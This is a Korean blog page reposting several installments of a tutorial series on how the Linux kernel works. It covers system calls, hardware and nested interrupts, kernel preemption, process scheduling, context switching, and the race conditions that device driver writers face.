그 외의 device로부터 interrupt가 들어올 경우에는 top half 또는 bottom half에서 그 device와 관련한 어떤 조건을 기다리는(예를 들어 그 device로부터 데이터가 도착하기를 기다리는) 프로세스를 wait queue에서 꺼내 run queue로 넣는 일이 있는데, 이 때 wait queue에서 run queue로 들어간 프로세스의 우선순위가 현재 프로세스보다 우선순위가 클 경우 스케쥴링을 요청한다.

⒝는 시스템 콜 영역을 수행하는 도중에 현재 프로세스로부터 어떤 조건을 기다리던 프로세스를 wait queue에서 꺼내 run queue로 넣는 일이 있는데, 이런 경우 wait queue에서 run queue로 들어간 프로세스가 현재 프로세스보다 우선순위가 크면 스케쥴링을 요청하는 경우이다.

⒞는 시스템 콜 영역을 수행하는 도중에 현재 프로세스를 진행하기 위해 필요한 어떤 조건 을 만족하지 못해 현재 프로세스를 논리적으로 더 이상 진행하지 못할 경우, 현재 프로세스 를 wait queue로 넣고 프로세스 스케쥴링을 수행하는 경우이다. 여기서는 현재 프로세스를 wait queue로 넣음으로써 현재 프로세스를 blocking 시킨다.

여기서 주의할 점은 ⒞의 경우는 현재 프로세스를 wait queue로 넣지만, ⒜와 ⒝의 경우는 현재 프로세스가 run queue에 그대로 남아있다. ⒞와 같은 형태의 프로세스 스케쥴링을 Direct invocation이라 하고, ⒜, ⒝와 같은 형태의 프로세스 스케쥴링을 Lazy invocation이라 한다.

⒟는 시스템 콜 영역을 수행하는 도중에 nested interrupt가 들어 왔을 때 수행하는 프로세스 스케쥴링이며, 스케쥴링을 수행하는 조건은 ⒜의 경우와 같다.

⒠, ⒡는 현재 프로세스에게 도착한 시그널을 처리하는 도중에 nested interrupt가 들어 왔을 때 수행하는 프로세스 스케쥴링이며, 스케쥴링을 수행하는 조건은 ⒜의 경우와 같다.

사용자 삽입 이미지

[그림 3] 리눅스 커널에서 프로세스 스케쥴링의 시작과 끝


[그림 3]을 통해 리눅스 커널 내에서 프로세스 스케쥴링이 어디서 시작해서 어디서 끝나는지 살펴 보자. 참고로 프로세스 스케쥴링에 대한 구체적인 내용은 본지 7 월호 <리눅스 커널의 이해 ①> 기사 내용을 참조하기 바란다.

어떤 프로세스의 a 지점에서 시작한 프로세스 스케쥴링은 임의의 다른 프로세스의 b, d, f, h, j, l 지점에서 끝날 수 있다. 마찬가지로 어떤 프로세스의 c, e, g, i, k 지점에서 시작한 프로세스 스케쥴링은 임의의 다른 프로세스의 b, d, f, h, j, l 지점에서 끝날 수 있다.

사용자 삽입 이미지

[그림 4] 프로세스 스케쥴링을 통한 프로세스간 전환


[그림 4]에서 ⒜와 ⒝는 각각 a 지점에서 시작한 프로세스 스케쥴링이 d 지점에서 끝나는 경우와, g 지점에서 시작한 프로세스 스케쥴링이 f 지점에서 끝나는 경우를 나타낸다. [그림 3]의 ⒜와 ⒝의 경우처럼 a, c, e, g, i, k 지점에서 시작한 프로세스 스케쥴링이 b, d, f, h, j, l 지점에서 끝나는 프로세스간 전환의 형태는 36 가지가 있을 수 있다.

[그림 4]의 ⒜와 ⒝를 통해서 우리는 프로세스의 흐름이 어떤 프로세스의 임의의 사용자 영역(프로세스 P1의 A 영역)에서 임의의 다른 프로세스의 임의의 사용자 영역(프로세스 P2 의 B 영역)으로 옮겨가는걸 볼 수 있다. 이와 같은 방식으로 프로세스의 흐름이 프로세스 P1의 사용자 영역에서 프로세스 P2의 사용자 영역으로, 또 프로세스 P2의 사용자 영역에서 프로세스 P3의 사용자 영역으로, …, 프로세스 Pn-1의 사용자 영역에서 프로세스 Pn의 사용자 영역으로 옮겨갈 수 있다. 즉, [그림 3]의 ⒜, ⒝와 같은 방식으로 프로세스의 흐름이 임의의 프로세스 P1의 사용자 영역에서 임의의 프로세스 Pn의 사용자 영역으로 옮겨갈 수 있다.

사용자 삽입 이미지

[그림 5] 프로세스 P1에서 프로세스 Pn으로의 전환


사용자 삽입 이미지

[그림 6] 프로세스 P1과 Pn의 같은 시스템 콜 영역의 접근




[그림 5]는 한 번 이상의 프로세스간 전환을 통해 임의의 프로세스 P1에서 임의의 프로세스 Pn으로 프로세스의 흐름이 옮겨갈 수 있음을 나타낸다.

[그림 6]은 임의의 프로세스 P1과 Pn이 각각 A와 B 영역에서 같은 시스템 콜 영역을 수행할 수 있음을 나타낸다. 우리가 작성하는 디바이스 드라이버의 일부는 시스템 콜 영역에서 동작을 하는데, 디바이스 드라이버를 작성할 때 동기화 문제를 고려하지 않을 경우 문제가 발생할 수 있다. [그림 6]은 [그림 5]의 한 예이다.

사용자 삽입 이미지

[그림 7] nested interrupt 와 process schedule에 의한 커널간 경쟁 상태



[그림 7]은 임의의 프로세스 P1이 시스템 콜 영역을 수행하는 도중에 nested interrupt가 발생하여 g 지점에서 프로세스 스케쥴링을 통해 임의의 프로세스 P2(여기서는 나타내지 않음)를 거쳐 임의의 프로세스 Pn으로 프로세스의 흐름이 옮겨가는 상황을 나타낸다. 이 경우 A와 B 영역이 같은 시스템 콜 영역이라 할 때 프로세스 P1와 프로세스 Pn은 시스템 콜 영 역에서 경쟁 상태가 될 수 있다. 이러한 경쟁 상태는 일반적으로 시스템에 논리적인 문제를 일으킨다.

[그림 6]과 [그림 7]에서 보듯이 nested interrupt와 process scheduling에 의해 리눅스 커널내에서는 커널 영역간에 여러 가지 경쟁 상태가 발생할 수 있으며, 이러한 경쟁 상태는 일반적으로 시스템을 멈추게 하는 등의 심각한 문제를 일으킨다.

앞에서도 말한 것처럼 우리가 작성하는 디바이스 드라이버는 시스템 콜 영역, top half 영역, bottom half 영역에서 모두 동작한다. 따라서 우리가 작성하는 디바이스 드라이버 내에서도 여러 가지 경쟁 상태가 발생할 수 있다.

이상에서 우리는 동기화 문제란 무엇인지, 디바이스 드라이버의 주요한 동작과 리눅스 커널의 흐름에서의 디바이스 드라이버의 위치, nested interrupt와 process scheduling에 의한 리눅스 커널의 흐름을 구체적으로 알아보았다.
다음 호에는 리눅스 디바이스 드라이버 작성시 Uni-Processor 또는 Multi-Processor 환경에 따라 발생할 수 있는 동기화 문제의 여러 가지 패턴을 살펴보고 그에 대한 해결책을 알아보기로 하자.


http://network.hanbitbook.co.kr/view.php?bi_id=1068
"Kernel" 카테고리의 다른 글
  • 리눅스 커널의 이해(5): 디바이스에 쓰기 동작에... (0)2007/05/10
  • 리눅스 커널의 이해(4): Uni-Processor & Multi-Pr... (0)2007/05/10
  • 리눅스 커널의 이해(3): 리눅스 디바이스 작성시... (0)2007/05/10
  • 리눅스 커널의 이해(2): 리눅스 커널의 동작 (0)2007/05/10
  • 리눅스 커널의 이해(1) : 커널의 일반적인 역할과... (0)2007/05/10
2007/05/10 10:18 2007/05/10 10:18
Posted by webdizen
Tags nested interrupt, process scheduling, race condition, Thread, 리눅스 커널
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2916

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux/Kernel2007/05/10 10:09

리눅스 커널의 이해(2): 리눅스 커널의 동작

저자: 서민우
출처: Embedded World

1. 리눅스 커널의 기본적인 동작

이제 리눅스 커널이 어떻게 동작하는지 들여다 보자.
리눅스 커널은 그 소스량은 엄청나지만 역시 커널의 기본적인 동작은 우리가 지금까지 보아온 커널의 동작과 별로 다르지 않다. 덧붙이자면 다른 RTOS도 역시 마찬가지다.

system call에 의해 시작하는 리눅스 커널의 일반적인 동작

[그림 1]은 system call에 의해 시작하는 리눅스 커널의 일반적인 동작이다.

사용자 삽입 이미지

[그림 1] system call에 의한 리눅스 커널의 일반적인 동작


[그림 1]에서 커널은 process의 system call에 의해 수행을 시작한다. 먼저 커널의 시작 부분에서는 현재 process의 사용자 영역에서의 register의 내용을 stack상에 저장한다. 다음은 커널에서 사용자 영역으로 빠져 나가기 바로 전에 커널의 시작 부분에서 stack상에 저장한 register의 내용을 다시 복구한다. sys_func(), sys_func()내의 schedule(), sys_func()를 수행하고 난 후에 수행하는 schedule()의 역할은 전 월호의 [그림 5]에서 이미 설명했다. 리눅스 커널에서는 어떤 process에서 또 다른 process로, 또는 interrupt handler에서 process로 signal을 보낼 수 있으며, do_signal()에서는 커널영역에서 사용자 영역으로 빠져 나가기 전에 현재 process에 도착한 signal이 있는지를 검사하고 도착한 signal이 있으면 적절히 처리하는 부분이다. 마지막으로 a와 b사이에서는 기본적으로 hardware interrupt를 허용하며, 이 구간에서 발생하는 hardware interrupt를 일반적으로 nested interrupt라 한다. nested interrupt에 의해 수행을 시작하는 커널을 우리는 nested interrupt routine이라고 하며, 일반적으로 nested interrupt routine에 의해 커널의 흐름은 상당히 복잡해지며, 여러 가지 동기화 문제가 발생한다. nested interrupt routine에 의해 발생하는 이러한 문제점과 그에 대한 해결책은 다음 기사에서 자세히 다루기로 하겠다.

hardware interrupt에 의해 시작하는 리눅스 커널의 일반적인 동작

[그림 2]는 hardware interrupt에 의해 시작하는 리눅스 커널의 일반적인 동작이다.

사용자 삽입 이미지

[그림 2] hardware interrupt에 의한 리눅스 커널의 일반적인 동작


[그림 2]에서 커널은 hardware interrupt에 의해서 수행을 시작한다. 리눅스 커널에서는 top_half()와 bottom_half()를 do_IRQ()라는 함수 내에서 차례로 수행한다. 다른 부분의 역할은 이미 전 월호의 [그림 2]와 앞의 [그림 1]에서 설명하였다. 한가지 짚고 넘어갈 점은 a와 b사이에서는 기본적으로 hardware interrupt를 허용한다. 따라서 이 구간에서도 역시 nested interrupt가 발생할 수 있다.

2. nested interrupt와 리눅스 커널의 동작

[그림 1]과 [그림 2]에서 우리는 리눅스 커널내에서 nested interrupt가 발생할 수 있는 영역을 보았다(각각 a와 b사이의 구간). nested interrupt에 의해 커널의 동작이 어떻게 바뀌는지 보기 전에 먼저 몇 가지 짚고 넘어갈 사항이 있다.

리눅스 커널내에서 각 영역의 속성과 우선 순위

[그림 1]에서 sys_func()은 커널이 process의 요청에 의해 수행하는 부분으로 process와 직접적으로 관련된 함수이다. do_signal()도 process와 직접적으로 관련된 함수이다. schedule() 역시, 새로 수행할 process를 runqueue로부터 뽑고(리눅스 커널에서는 ready queue를 runqueue라고 한다), 현재 process의 커널 영역에서의 register의 내용을 메모리에 저장하고, 새로 수행할 process의 커널 영역에서의 register의 내용을 메모리로부터 복구하는, process와 간접적으로 관련된 함수이다. save register와 restore registerprocess의 사용자 영역에서의 register의 내용을 메모리에 저장하고, 사용자 영역에서의 register의 내용을 메모리로부터 복구하는 동작으로 process와 관련된 부분이다.

[그림 2]에서 do_IRQ()는 커널이 device로부터 들어온 요청을 처리하는 부분이다. 그 중에 top_half()는, 예를 들어 device를 접근하는 등의, 시간상으로 신속히 처리해야 할 부분이며, bottom_half()는, 예를 들어 device로부터 메모리로 읽어온 data(top_half()에서 device로부터 메모리로 가져온)를 처리하는 등의, top_half()에 비해 비교적 천천히 처리해도 되는 부분이다. 나머지 schedule(), do_signal(), save register, restore register는 앞의 경우처럼 process와 관련된 부분이다.

이상에서 리눅스 커널 영역은 논리적으로 다음과 같이 세 부분으로 나눌 수 있다.

device와 직접적으로 관련된 top_half() 부분
device와 간접적으로 관련된 bottom_half() 부분
process와 직접적으로 또는 간접적으로 관련된
schedule(), sys_func(), do_signal(), save register, restore register 부분

처음에 리눅스 커널을 설계하는 과정에서 top_half(), bottom_half(), process와 관련된 함수들 순으로 우선 순위를 주었다. 우선 순위에 따라 커널 영역을 빨강, 녹색, 파랑으로 표시할 경우 [그림 3]과 같다. [그림 3]에서 save register와 restore register는 process와 관련된 부분이기는 하지만 nested interrupt가 발생할 수 없는 영역이므로 여기서는 색깔로 표시하지 않았다.

사용자 삽입 이미지

[그림 3] 리눅스 커널내에서 각 영역의 우선 순위


그러면 지금부터 nested interrupt에 의해 커널이 수행해야 할 동작이 어떻게 바뀌어야 할지 생각해 보기로 하자. 참고로 [그림 3]에서 커널 영역 중 색깔이 없는 부분에서는 interrupt를 허용하지 않는다고 가정하자.

top_half()와 nested interrupt routine

먼저 top_half() 부분에서 interrupt가 발생했을 경우를 생각해 보자. 리눅스 커널에서는 top_half() 부분에서 interrupt handler에 따라 interrupt를 막을 수도 있고 열어 놓을 수도 있다. 이 부분에서 interrupt를 열어 놓아 interrupt가 발생하였을 경우에 리눅스 커널은 [그림 4]와 같이 동작해야 한다.

사용자 삽입 이미지

[그림 4] top_half()와 nested interrupt routine


[그림 4]에서 A와 B의 우선순위는 같다 하더라도 A에서 interrupt를 허용하였기 때문에 A를 수행하는 중이라도 B는 수행이 될 수 있다. 그러나, C, D, E는 A보다 우선순위가 낮기 때문에 수행하지 않고 나가는 것이 논리적으로 맞다. 그럼 리눅스 커널은 C, D, E를 수행하지 않는가? 그건 아니다. C의 경우 F를 수행할 때 함께 처리한다. D의 경우는 B나 C에서 schedule을 요청할 경우 수행하는 부분으로 G에서 처리하면 된다. E의 경우는 현재 process에게 도착한 signal을 처리하는 부분이며, H와 중복된다. 따라서 H에서 처리하면 된다.

bottom_half()와 nested interrupt routine

다음은 bottom_half()에서 interrupt가 발생했을 경우를 생각해 보자. 앞에서 bottom half()에서는 기본적으로 interrupt가 열려 있다고 말한 바 있다. 이 부분에서 interrupt가 들어올 경우 커널은 [그림 5]와 같이 동작해야 한다. [그림 5]에서 B의 우선 순위는 F의 우선 순위보다 크다. 따라서, F를 수행하는 도중이라도 B를 수행할 수 있다. C의 경우는 F와 우선 순위가 같으므로 B 다음에 바로 처리하지 않고, F를 처리한 후에, F를 다시 수행하여 C를 처리한다. D, E에 대한 처리는 [그림 4]에서 이미 설명하였다.

사용자 삽입 이미지

[그림 5] bottom_half()와 nested interrupt routine


schedule()과 nested interrupt routine

다음은 schedule()을 수행하는 중에 interrupt가 발생했을 경우를 생각해 보자. 이 부분에서 interrupt가 들어올 경우 리눅스 커널은 [그림 6]과 같이 동작해야 한다.

사용자 삽입 이미지

[그림 6] schedule()과 nested interrupt routine


[그림 6]에서 A는 process와 관련된 부분으로 B와 C보다 우선순위가 낮다. 따라서 A를 수행하는 중이라도 커널은 B와 C를 당연히 수행해야 한다. D는 A와 같은 부분으로 A와 우선 순위가 같다. 따라서 A를 수행하고 나서, A를 다시 한 번 더 수행하면 된다. 즉 nested interrupt routine에서는 D를 수행할 필요가 없다. E는 앞에서 설명한 것처럼 H와 중복되므로 수행할 필요가 없다.

do_signal()과 nested interrupt routine 그리고 커널 preemption

다음은 do_signal()을 수행하는 중에 interrupt가 발생했을 경우를 생각해 보자. 이 부분에서 interrupt가 들어올 경우 리눅스 커널은 [그림 7]과 같이 동작하도록 설계되었다.

사용자 삽입 이미지

[그림 7] do_signal()과 nested interrupt routine


[그림 7]에서 A는 process와 관련된 부분으로 B와 C보다 우선순위가 낮다. 따라서 A를 수행하는 중이라도 커널은 당연히 B와 C를 수행해야 한다. B나 C에서 wait queue에 있던 process를 runqueue에 넣고, runqueue에 새로 들어간 process가 현재 process보다 우선 순위가 클 경우 process scheduling을 요청할 수 있다. 그러면 커널은 D를 수행하며 A를 수행중이었더라도 다른 process로 전환이 일어나게 된다. 이는 A가 커널의 한 영역이라도 process와 관련된 부분이므로, A와 관련된 현재 process보다 우선 순위가 큰 process가 B나 C에서 runqueue로 들어갈 경우 당연히 process 전환을 수행할 수 있다. 이는 리눅스 커널 2.5 이후에 새로이 추가된 기능으로 커널 preemption이라고 한다. 당연히 리눅스 커널 2.4에는 없는 기능이다. E는 A와 중복되므로 수행하지 않는다.

sys_func()과 nested interrupt routine 그리고 커널 preemption

다음은 sys_func()를 수행하는 중에 interrupt가 발생했을 경우를 생각해 보자. 이 부분에서 interrupt가 들어올 경우 리눅스 커널은 [그림 8]과 같이 동작하도록 설계되었다.
[그림 8]에서 A(sys_func())는 process와 관련된 부분으로 [그림 7]에서의 A(do_signal())와 같이 취급한다. 당연히 [그림 8]에서 A를 수행하는 도중이라도 B와 C를 수행해야 하며, 필요 시에는 D에 의해 다른 process로 전환할 수 있다. 이 역시 리눅스 커널 2.5 이후에 새로이 추가된 커널 preemption 기능이다. E는 F와 중복되므로 수행하지 않는다.

사용자 삽입 이미지

[그림 8] sys_func()과 nested interrupt routine


sys_func()내의 schedule()과 nested interrupt routine

다음은 sys_func()내에서 schedule()을 수행하는 중에 interrupt가 발생했을 경우를 생각해 보자. 이 부분에서 interrupt가 들어올 경우 리눅스 커널은 [그림 9]와 같이 동작하도록 설계되었다.

사용자 삽입 이미지

[그림 9] sys_func()내의 schedule()과 nested interrupt routine


[그림 9]에서 A는 process와 관련된 작업이다. 따라서 A를 수행하는 도중이라도 당연히 B와 C를 수행해야 한다. D는 A와 같은 부분으로 A와 우선 순위가 같다. 따라서 A를 수행하고 나서 수행해야 한다. 즉 nested interrupt routine에서는 수행할 필요가 없다. E는 앞에서 설명한 것처럼 F와 중복되므로 수행할 필요가 없다.

nested interrupt에 의한 커널의 동작

이상에서 우리는 nested interrupt에 의해 커널 수행해야 할 동작을 보았으며, [그림 10]과 같다.

사용자 삽입 이미지

[그림 10] nested interrupt에 의한 커널의 동작


지금까지 우리는 리눅스 커널이 실제로 어떻게 설계되었는지 보았다.

3. multi-tasking의 구현

다음은 간단한 scheduling과 context switching에 의해 multi-tasking이 어떻게 구현되는지를 보여주는 예다. 이 예를 통해서 마술 같은 multi-tasking을 구체적으로 이해해 보기로 하자. 지난 기사에서 설명한 부분에 대한 이해를 돕고자 이 부분을 추가하였다.

먼저 scheduling이란 현재 process를 어떤 이유에 의해서 잠시 멈출 때 새로이 수행할 process를 선택하는 커널의 동작을 말한다.

다음으로 context란 processor(CPU)가 어떤 process를 수행할 때의 processor의 상태를 말한다. processor의 상태란 구체적으로 processor 내의 여러 register의 어느 순간의 상태를 말한다. 따라서 context switching이란 현재 수행하던 process의 context를 그대로 메모리로 저장하며, scheduling을 통해 선택한 새로운 process의 context를 메모리로부터 processor의 여러 register로 복구하는 커널의 동작을 말한다.

다음의 예는 multi-tasking.s와 multi-tasking.c의 두 가지 파일로 구성된다. 그럼 구체적으로 구현 내용을 들여다 보자.





<1>에서 process_state는 하나의 process를 관리하기 위한 구조체이다. 이 구조체 내의 stack_top 변수는 stack pointer를 저장하기 위한 공간이고, stack 배열 변수는 256*4 byte 크기의 process stack이다.

<2>에서는 두 개의 process를 관리하기 위하여 process_state 구조체 두 개를 process 배열 변수로 선언하였다.

<3>에서는 scheduling과 context switching시 사용할 process_state 구조체를 가리킬 수 있는 pointer 변수 두 개를 선언하였다.

<4>에서 <5>까지는 process[OTHER]의 상태를 초기화 하며, process[OTHER]의 상태는 [그림 11]과 같아진다.
사용자 삽입 이미지
사용자 삽입 이미지

[그림 11] process[OTHER]의 초기화


<6>은 간단하지만 새로운 작업을 선택하는 scheduling 과정이다. 여기서는 새로운 작업으로 process[OTHER]를 선택한다.

<7>을 어셈블리어로 나타내면 다음과 같다.

사용자 삽입 이미지



여기서 과 , 과 부분에서 스택에 차례로 next, prev 값이 들어간다. 그리고, 부분에서 스택에 return address(0x0804852d) 값이 들어가며, multi-tasking.s 파일의 context_switch 함수로 뛴다. [그림 12]에서 ① 부분이 이 과정에서 만들어진다.

다음은 multi-tasking.s 파일의 context_switch 함수를 보자.

먼저 ⓐ에서 [그림 12]의 ② 부분이 만들어진다. 다음으로 ⓑ에서 processor의 esp register 값([그림 12]의 ③)을 process[MAIN]의 stack_top([그림 12]의 ④)에 저장한다. 이로써 지금까지 수행하던 process의 문맥 저장을 끝낸다.

다음은 ⓒ에서 process[OTHER]의 stack_top 값([그림 12]의 ⑤)을 processor의 esp register([그림 12]의 ⑥)에 저장한다. 이 부분에서 esp register는 process[OTHER]의 stack top을 가리킨다. process[OTHER]는 이전에 초기화 되었으며, 이미 [그림 11]에서 살펴 보았다. ⓓ에서 ⑦부분에 저장된 값들이 processor의 각 register로 채워진다. 이로써 새로 수행할 process의 문맥을 복구하였다. 마지막으로 ret 명령에 의해 [그림 12]의 ⑧에서 ra의 값이 eip로 들어가면서 other 함수를 수행하기 시작한다. 이 때 esp register는 [그림 12]의 ⑨를 가리킨다.

사용자 삽입 이미지

[그림 12] process간 전환


multi-tasking의 동작 방식을 이해했으면 마지막으로 두 파일을 컴파일 하여 실행해 본다.

이상에서 우리는 multi-tasking이 어떻게 구현되는지를 보았다. 비록 짧은 소스이기는 하지만 중요한 개념들이 많이 들어가 있으며, 커널의 핵심적인 부분만을 떼내어 이해할 수 있다.

마무리

지금까지 우리는 리눅스 커널이 어떻게 설계되었는지 보았다. 또한 multi-tasking이 어떻게 구현되는지 보았다. 이 과정에서 scheduling과 task 초기화도 들여다 보았다. 다음 기사에서는 리눅스 커널이 구체적으로 어떻게 구현되었는지 소스 수준에서 살펴 보기로 하자.
"Kernel" 카테고리의 다른 글
  • 리눅스 커널의 이해(4): Uni-Processor & Multi-Pr... (0)2007/05/10
  • 리눅스 커널의 이해(3): 리눅스 디바이스 작성시... (0)2007/05/10
  • 리눅스 커널의 이해(2): 리눅스 커널의 동작 (0)2007/05/10
  • 리눅스 커널의 이해(1) : 커널의 일반적인 역할과... (0)2007/05/10
  • Kprobes를 이용한 커널 디버깅 (0)2007/05/04
2007/05/10 10:09 2007/05/10 10:09
Posted by webdizen
Tags hardware interrupt, multi tasking, nested interrupt, system call, 리눅스 커널
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2915

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux/Kernel2007/05/10 09:56

리눅스 커널의 이해(1) : 커널의 일반적인 역할과 동작

저자: 서민우
출처: Embedded World

본 기사는 리눅스 커널 2.6이 hardware interrupt와 system call을 중심으로 어떻게 설계되었고, 구현 되었는지 살펴본다. 이 과정에서 리눅스 커널 2.6에 새로이 추가된 커널 preemption 기능을 자세히 살펴보기로 한다. 또한 커널의 동기화 문제와 이에 대한 해결책 등을 커널 source 내에서 찾아보기로 하고, 후에 device driver등을 작성할 때 이러한 해결책을 어떻게 적용할 수 있을지도 생각해 본다. 다음으로 리눅스 커널 2.6에 추가된 O(1) scheduler를 소스 수준에서 자세히 살펴 보기로 한다. 또한 task queue의 변형된 형태인 work queue의 사용법을 알아보기로 한다. 마지막으로 리눅스 커널 2.6에서는 어떻게 device driver를 작성해야 할지 구체적인 예를 보기로 한다.

이번 기사에서는 리눅스 커널을 소스 수준에서 구체적으로 들여다 보기 전에 일반적인 커널의 동작을 살펴보고, 이를 바탕으로 리눅스 커널의 전체적인 동작을 살펴보기로 한다.

1. 일반적인 커널의 동작

여기서는 process와 device 사이에서 커널이 수행해야 할 구체적인 역할을 몇 가지 살펴보고, 이를 기본으로 해서 일반적인 커널의 동작을 이해해 보기로 한다.

system call에 의한 커널의 구체적인 동작 1
일반적으로 process는 system call을 통해 커널에게 device로부터 data를 읽기를 요청한다. 그러면 커널은 device로부터 data를 읽기를 요청하고 현재 수행중인 process를 잠시 멈추기 위해 wait queue에 넣는다. 왜냐하면 device로부터 data가 도착해야 그 process를 다시 진행할 수 있기 때문이다(wait, sleep, block과 같은 용어는 이러한 상황에서 쓰인다). 그리고 새로운 process를 적절한 기준에 의해 선택해 수행하기 시작한다. 새로운 process를 선택하고 그 process로 전환하는 과정을 process scheduling이라고 한다. 그 이후에 몇 번의 process scheduling이 더 있을 수 있다.

이 과정을 processor의 관점에서 다시 보자.
processor가 process의 사용자 영역(응용프로그램 영역)을 수행하는 중에 system call 명령을 만나면 커널 영역으로 뛰어 들어간다. 커널 영역에는 device로부터 data를 읽기를 요청하고 현재 수행중인 process를 잠시 멈추기 위해 wait queue에 넣고 새로운 process를 선택해 수행하는 일련의 명령들이 있다(이러한 일련의 명령들을 process 또는 커널이 수행할 작업이라고 하자). 이러한 명령들에 따라 결국 processor는 새로운 process를 선택해 수행하기 시작한다. 그 이후에 몇 번의 process scheduling이 더 있을 수 있으며, processor는 임의의 시간에 임의의 process를 수행하고 있다.

hardware interrupt에 의한 커널의 구체적인 동작
processor가 임의의 process를 수행하는 동안에 device에는 data가 도착한다. device는 data의 도착을 물리적인 신호를 통해서 processor에게 알린다(이를 우리는 hardware interrupt라고 한다). 그러면 processor는 이 신호를 감지하고 커널 영역으로 뛰어 들어간다. 커널 영역에는 device에 도착한 data를 메모리로 읽어 오고, 그 data를 사용할 process에 맞게 적절하게 형태를 바꾸어, data를 기다리는 process에게 전달하고, 그 process를 wait queue에서 꺼내 ready queue로 집어넣은 후, ready queue로 들어간 process의 우선순위가 현재 수행 중이던 process의 우선순위보다 클 경우 process scheduling을 요청한 후 process scheduling을 수행하는 일련의 명령들이 있다. 이러한 명령들에 따라 결국 processor는 device로부터 data를 읽기를 요청한 process를 다시 선택해 수행하기 시작한다. processor는 다시 시작한 process의 커널 영역에서 사용자 영역으로 빠져 나가 사용자 영역을 계속해서 수행한다.

[그림 1]을 보면서 좀 더 구체적으로 이해해 보자. process P1은 사용자 영역의 A 부분에서 system call을 통해 커널 영역으로 들어간다. 커널 영역의 B 부분에서 device로부터 data를 읽기를 요청한 후 현재 수행중인 process를 wait queue에 넣는다. 그리고 C 부분에서 process scheduling을 수행한다. 이 부분을 좀 더 자세히 들여다보면 C 부분에서 시작한 process scheduling은 D 부분에서 끝나지 않고 process P2의 E 부분에서 끝난다. 즉, c 지점으로 들어가서 e 지점으로 나온다.

process scheduling
여기서 process scheduling의 동작을 좀 더 구체적으로 살펴보자. process scheduling은 크게 두 동작으로 나뉜다. 처음 동작은 새로 수행할 process를 선택하는 부분이다. 두번째 동작은 현재 수행하고 있는 process의 상태를 저장한 다음 새로 수행할 process의 상태를 복구하는 것이다. 이 동작을 우리는 문맥 전환이라고 한다. processor는 내부에 여러 개의 register를 가지고 있으며, 이 register를 이용해 process를 수행해 나간다. register는 memory와 같이 data를 저장하는 기능을 하지만, 접근 속도가 memory보다 빠르다. 따라서 비용상 그 개수가 많지는 않다. register는 processor architecture에 따라 R0, R1, ... 또는 EAX, EBX, ... 등의 이름을 가지며, 32 bit RISC processor의 경우 일반적으로 32 bit의 크기를 갖는다. processor는 register와 memory 또는 I/O device내의 register간에
data를 옮겨가면서 procss를 수행해 나간다. 따라서 process를 수행해 나감에 따라 register의 내용은 계속 바뀌게 된다. 문맥 전환 부분을 좀 더 자세히 들여다 보면 processor가 현재 process를 수행해 나가다 어느 순간에 register의 내용을 그대로 메모리에 저장한다. 새로 수행할 process의 경우도 현재 process처럼 이전에 저장한 register의 내용이 메모리에 있으며, 따라서 그 메모리에 저장한 register의 내용을 다시 processor의 register로 복구 시킨다. 그리고 새로운 process를 계속 수행해 나간다.

문맥 전환(context switching)
문맥 전환 부분을 좀 더 구체적으로 이해하기 위해 process scheduling의 동작을 다음과 같이 가정해 보자. 처음 동작에서 새로 수행할 process를 뽑았는데 그 process가 현재 수행하고 있던 process였다. 그러면 두 번째 동작은 다음과 같이 될 것이다. processor가 현재 process의 register의 내용을 메모리에 저장한다. 그리고 방금 전에 메모리에 저장한 register의 내용을 다시 processor의 register로 복구 시킨다. 그리고 현재 process를 계속 수행한다. 이럴 경우 [그림 1]에서 C 부분에서 시작한 process scheduling은 D 부분에서 끝나며, 논리적으로 process scheduling을 수행하지 않은 것과 같다. process scheduling의 본래 목적은 process간의 전환이며 따라서 현재 process와 새로 수행할 process가 있어야 그 본래 기능을 수행할 수 있다. 여기서는 문맥 전환의 동작을 이해하기 위하여 이와 같은 가정을 한 것이다.

사용자 삽입 이미지

[그림 1] system call과 hardware interrupt에 의한 커널의 구체적인 동작


그러면 process scheduling의 본래 기능으로 다시 돌아가 문맥 전환을 생각해 보자.
[그림 1]에서 현재 process를 P1, 새로 수행할 process를 P2라 하자. 그러면 process P1의 C 부분에서 시작한 process scheduling이 논리적으로 D 부분에서 끝나야 하는 것처럼(여기서는 실제로 J 부분에서 끝난다) 이전에 process P2의 F 부분에서 시작한 process scheduling은 논리적으로 E 부분에서 끝나는 것이다. 그러나 시간상으로는 process P1의 C 부분에서 시작한 process scheduling은 process P2의 E 부분에서 끝난다. 즉, c 지점으로 들어가서 e 지점으로 나온다.

이후에 process P2에서 process P3로(f에서 g로), process P3에서 process P4로, 몇 번의 process scheduling이 더 있을 수 있으며(h에서 … i로), 어느 순간 임의의 process Pn이 수행 중일 수 있다. [그림 1]에서 process Pn을 수행하는 중에 G 부분에서, process P1의 B 부분에서 data를 읽기를 요청한 device로부터, hardware interrupt가 들어올 수 있다. 그러면 process Pn은 G 부분에서 커널 영역으로 들어간다. 커널은 H 부분에서 device에 도착한 data를 메모리로 읽어 오고, 그 data를 사용할 process P1에 맞게 적절히 형태를 바꾸어 process P1에게 전달하고, process P1을 wait queue에서 꺼내 ready queue로 넣은 후, 새로이 ready queue로 들어간 process P1의 우선순위가 현재 수행 중인 process Pn의 우선순위보다 클 경우 process scheduling을 요청한다. 그러면 I 부분에서 process scheduling을 수행한다. process Pn의 I 부분에서 시작한 process scheduling은 process P1의 J 부분에서 끝난다. 덧붙이자면, process P1의 C 부분과 J 부분은 시간적으로는 연속이지 않지만 논리적으로는 연속이다.

hardware interrupt에 의한 커널의 일반적인 동작
이제 hardware interrupt에 의해 시작한 커널의 일반적인 동작을 정리해 보자.
[그림 1]에서 process Pn을 수행하는 중에 들어온 hardware interrupt에 의해 시작한 커널의 동작은 다음과 같다.

1. device에 도착한 data를 메모리로 읽어 온다.
2. data를 사용할 process에 맞게 적절하게 형태를 바꾼다.
3. data를 기다리는 process에게 전달하고 process scheduling 요청
4. process scheduling을 수행

여기서 커널의 동작은 크게 세 부분으로 나눌 수 있으며, 그 처음 부분은 다음과 같다.

1. device에 도착한 data를 메모리로 읽어 온다.

